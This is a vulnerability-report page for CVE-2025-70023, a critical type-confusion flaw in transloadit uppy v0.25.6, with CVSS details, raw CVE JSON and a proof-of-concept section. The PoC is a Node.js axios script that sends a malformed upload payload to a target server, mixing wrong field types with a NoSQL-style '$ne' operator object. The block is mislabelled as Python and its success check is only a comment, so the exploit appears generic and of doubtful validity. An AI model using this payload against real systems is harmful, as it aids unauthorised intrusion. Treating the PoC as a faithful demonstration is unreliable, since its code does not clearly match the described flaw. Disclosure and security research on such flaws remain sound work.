Security Vulnerability Report
中文
CVE-2025-70023 CVSS 9.8 CRITICAL

CVE-2025-70023

Published: 2026-04-14 18:16:42
Last Modified: 2026-04-17 15:38:09

Description

An issue pertaining to CWE-843: Access of Resource Using Incompatible Type was discovered in transloadit uppy v0.25.6.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

transloadit uppy v0.25.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-70023: Type Confusion in transloadit/uppy // This script demonstrates sending a payload with incompatible types // to trigger the vulnerability. const axios = require('axios'); const targetUrl = 'http://target-server/api/upload'; // Malformed payload exploiting type confusion (CWE-843) // Constructing an object where a primitive type is expected const exploitPayload = { "files": [ { "name": "test.jpg", "size": "INVALID_TYPE_STRING", // Expecting Integer, sending String "type": "image/jpeg", "meta": { "source": "upload" } } ], "options": { // Sending an object where a boolean or specific string enum is expected "allowDuplicates": { "$ne": null } } }; async function triggerVuln() { try { console.log(`[+] Sending exploit payload to ${targetUrl}...`); const response = await axios.post(targetUrl, exploitPayload, { headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' } }); console.log(`[+] Response Status: ${response.status}`); console.log(`[+] Response Data: ${JSON.stringify(response.data)}`); // Check for indicators of successful exploitation (e.g., debug info, error, or unexpected behavior) } catch (error) { if (error.response) { console.error(`[-] Server responded with status: ${error.response.status}`); console.error(`[-] Error Data: ${JSON.stringify(error.response.data)}`); } else { console.error(`[-] Request failed: ${error.message}`); } } } triggerVuln();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70023", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:41.677", "lastModified": "2026-04-17T15:38:09.243", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue pertaining to CWE-843: Access of Resource Using Incompatible Type was discovered in transloadit uppy v0.25.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "references": [{"url": "https://gist.github.com/zcxlighthouse/27926a85371ac5d2291f44903254753e", "source": "[email protected]"}, {"url": "https://github.com/transloadi", "source": "[email protected]"}, {"url": "https://github.com/transloadit/uppy", "source": "[email protected]"}]}}